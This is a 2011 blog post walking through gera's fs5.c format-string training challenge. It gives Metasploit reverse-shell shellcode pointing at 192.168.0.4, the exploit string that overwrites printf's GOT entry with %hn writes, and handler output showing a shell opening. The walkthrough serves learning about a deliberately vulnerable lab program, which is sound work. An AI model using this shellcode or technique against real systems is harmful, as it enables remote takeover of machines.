Tuesday, November 22, 2011

Format Strings: fs5

gera's Insecure Programming fs5.c

/* fs5.c                                                    *
* specially crafted to feed your brain by gera@core-sdi.com */

/* go, go, go!                                              */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,argc[1]);

                   /* this line'll make your life easier */
printf("%s\n",buf);          
}

I need to create my own format string for this one.

First some setup: putting shellcode into an environment variable and then getting it's address and printf's GOT address.

[dennis@localhost fs5]$ cat sc.pl
#!/usr/bin/perl

# shellcode
# msf3 linux/x86/shell_reverse_tcp, LHOST=192.168.0.4, badchars="\x00"`
my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost fs5]$ export FS5=`perl sc.pl`

[dennis@localhost fs5]$ cat ev5.c
#include <stdlib.h>

/* this progname name must be same length as fs5 */

int
main()
{
char *envaddr;

envaddr = getenv("FS5");
printf("FS5 is at %p\n", envaddr);
}

[dennis@localhost fs5]$ ./ev5
FS5 is at 0xbffffc7b

[dennis@localhost fs5]$ objdump -R fs5 | egrep '[^n]printf''
08049588 R_386_JUMP_SLOT printf

The %p format specifiers I'm supplying to the vulnerable snprintf functions lets me walk and read the stack. After popping 1 %p off the stack, the snprintf starts reading the As, Bs, and Cs.

(gdb) run `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
Starting program: /home/dennis/fs5/fs5 `perl -e 'print "AAAABBBBCCCC.%p.%p.%p.%p"'`
AAAABBBBCCCC.0x8048170.0x41414141.0x42424242.0x43434343

The exploit looks like this.

[dennis@localhost fs5]$ ./fs5 `perl -e 'print "\x88\x95\x04\x08AAAA\x8a\x95\x04\xx08%.64623u%hn%.50052u%hn"'`

...

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:50056) at 2011-11-22 22:02:38 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/fs5

Here's the format string break down:

1) \x88\x95\x04\x08 (0x08049588) - points to the least significant byte of printf's GOT entry.

2) AAAA - filler for the second %u format specifier.

3) \x8a\x95\x04\x08 (0x0804958a) - points to the most significant byte of printf's GOT entry.

4) %.64623u - increment character output count. the %u uses the first %p value (0x8048170) from the read above.

64623 is calculated like this

(gdb) print /d 0xfc7b - 12
$1 = 64623

I want to overwrite the LSB with 0xfc7b (LSB of the shellcode address). There have been 12 characters printed already.

5) %hn - write character output count to the LSB of printf's GOT entry.

6) %.50052u - increment character output count again. The %u uses the filler from #2.

50052 is calculated like this

(gdb) print /d 0x1bfff - 12 - 64623
$2 = 50052

I want to get to 0xbfff--MSB of shellcode address. I've already passed 0xbfff with the first %u, the extra 0x10000 allows me to get back to it. There have been 12 + 64623 characters printed already.

7) %hn - write character output count to the MSB of printf's GOT entry.

No comments:

Post a Comment